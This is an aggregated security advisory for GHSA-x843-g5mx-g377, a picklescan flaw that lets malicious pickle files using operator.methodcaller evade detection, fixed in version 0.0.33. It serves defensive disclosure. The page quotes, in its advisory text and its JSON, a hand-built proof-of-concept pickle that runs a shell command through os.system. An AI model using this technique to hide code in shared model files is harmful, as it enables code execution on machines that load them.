GHSA-x843-g5mx-g377: Picklescan Remote Code Execution Vulnerability

HIGH
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CWE-502 CWE-94
Published
Advisory Summary

GHSA-x843-g5mx-g377 is a HIGH remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan is vulnerable to rce through missing detection when calling built-in python operator.methodcaller. Remediation is available by upgrading affected packages to version 0.0.33.

GHSA-x843-g5mx-g377 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-x843-g5mx-g377
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-x843-g5mx-g377

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.33 
pip install picklescan>=0.0.33
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-x843-g5mx-g377, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Picklescan uses `operator.methodcaller`, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling the `operator.methodcaller` function in method `reduce`. - Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution. ### PoC ``` import pickle import pickletools opcode1 = b'''cbuiltins __import__ (Vos tRp0 0coperator methodcaller (Vsystem Vecho "pwned by operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode1) pickle.loads(opcode1) ``` This PoC can't be easily created by pickle.dumps, therefore it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Report by Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

GHSA-x843-g5mx-g377 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.33
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
pypi/picklescan
PyPI
< 0.0.33
0.0.33

References

GitHub Advisory / Wiki ADVISORY
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan/pull/53
Security Fix Commit FIX COMMIT
https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan

Frequently Asked Questions

What is GHSA-x843-g5mx-g377?
GHSA-x843-g5mx-g377 is a security vulnerability in Picklescan involving Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller under CWE-502: Deserialization of Untrusted Data.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.33 across affected packages: picklescan.
What version fixes GHSA-x843-g5mx-g377?
Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.
What CWE is associated with GHSA-x843-g5mx-g377?
GHSA-x843-g5mx-g377 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for GHSA-x843-g5mx-g377?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x843-g5mx-g377",
  "modified" : "2025-12-29T20:03:30Z",
  "published" : "2025-12-29T20:03:30Z",
  "aliases" : [ ],
  "summary" : "Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller",
  "details" : "### Summary\nPicklescan uses `operator.methodcaller`, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the `operator.methodcaller` function in method `reduce`.\n- Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode1 = b'''cbuiltins\n__import__\n(Vos\ntRp0\n0coperator\nmethodcaller\n(Vsystem\nVecho \"pwned by operator.methodcaller\"\ntR(g0\ntR.'''\npickletools.dis(opcode1)\npickle.loads(opcode1)\n```\nThis PoC can't be easily created by pickle.dumps, therefore it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-29T20:03:30Z",
    "nvd_published_at" : null
  }
}